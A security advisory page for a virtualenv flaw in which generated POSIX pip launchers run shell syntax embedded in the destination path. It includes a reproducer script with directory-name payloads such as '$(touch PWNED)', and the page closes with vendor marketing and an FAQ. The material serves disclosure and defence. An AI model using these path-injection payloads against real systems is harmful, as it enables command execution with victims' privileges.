Summary
virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax
A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The
app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not
preserve it as literal data in the shell wrapper.
Affected area
POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.
Windows executable launchers are not affected by this path.
Attacker-controlled input
An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a
generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.
Affected code
The relevant 21.14.8 source is in
ScriptMakerCustom.
Mechanism
The app-data seeder passes the environment's interpreter path through enquote_executable() to distlib's ScriptMaker.
It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path
has a space or the shebang exceeds 127 bytes, distlib emits a #!/bin/sh wrapper with a line shaped like'''exec' "<path>" "$0" "$@". The shell expands $(...) and backticks in that path when the launcher is run. The same
wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and
activation do not trigger the shell payload.
Reproduction and evidence
The scanner created three environments: a control under my -touch PWNED- project, one undermy $(touch PWNED) project, and one under a path of more than 127 bytes ending in $(touch${IFS}PWNED). Each was
created without producing PWNED. Running the generated bin/pip --version created PWNED in both attack cases; the
control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the
generated launcher, with the user's privileges, rather than during seeding.
The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.
PR #3417 quotes the raw interpreter path for the POSIX wrapper and
repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip
install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up
review reports that later path separately.
Attack sequence
sequenceDiagram
participant A as Destination supplier
participant V as virtualenv seeder
participant D as distlib ScriptMaker
participant S as Generated bin/pip
participant U as User
A->>V: path contains $(touch PWNED)
V->>D: pass interpreter path with incomplete shell quoting
D->>S: write /bin/sh wrapper
Note over V,S: no payload runs during creation or activation
U->>S: pip --version
S->>S: shell expands path and runs touch
S-->>U: PWNED appears with user's privileges
Reproducer files
The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path
WORK = Path("/tmp/repro-console-script")
# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
"CONTROL": "my -touch PWNED- project",
"OBSERVED": "my $(touch PWNED) project",
# no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
"OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}
shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
# the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
cwd = WORK / label / "cwd"
venv = WORK / label / name / "venv"
cwd.mkdir(parents=True)
# set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
assert list(cwd.iterdir()) == [], "environment creation must not have created anything"
# trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
pip_printed[label] = pip.stdout
created_by_pip[label] = sorted(p.name for p in cwd.iterdir())
launcher = (venv / "bin" / "pip").read_text().splitlines()
print(f"{label}: directory name {name!r}")
print(f" bin/pip line 1: {launcher[0]}")
print(f" bin/pip line 2: {launcher[1]}")
print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
print(f" files bin/pip created in the working directory: {created_by_pip[label]}")
# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")
Fix scope and remaining exposure
PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The
pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's
vendored distlib.
A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing
launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to
regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip.
The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are
attributed to the reviewer.
Versions tested
The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review
records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are
unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.
Known mitigation
Use an environment destination chosen by a trusted user. For older releases, avoid generating
environments at destinations derived from untrusted input.
Affected release
- The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.
Impact
Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8,CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's
generated-script precedent. The vector
assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are
required; successful command execution can affect the user's data and processes.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2026-113722 has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (21.14.9); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-113722? CVE-2026-113722 is a high-severity OS command injection vulnerability in virtualenv (pip), affecting versions < 21.14.9. It is fixed in 21.14.9. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2026-113722? CVE-2026-113722 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of virtualenv are affected by CVE-2026-113722? virtualenv (pip) versions < 21.14.9 is affected.
- Is there a fix for CVE-2026-113722? Yes. CVE-2026-113722 is fixed in 21.14.9. Upgrade to this version or later.
- Is CVE-2026-113722 exploitable, and should I be worried? Whether CVE-2026-113722 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-113722 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-113722? Upgrade
virtualenvto 21.14.9 or later.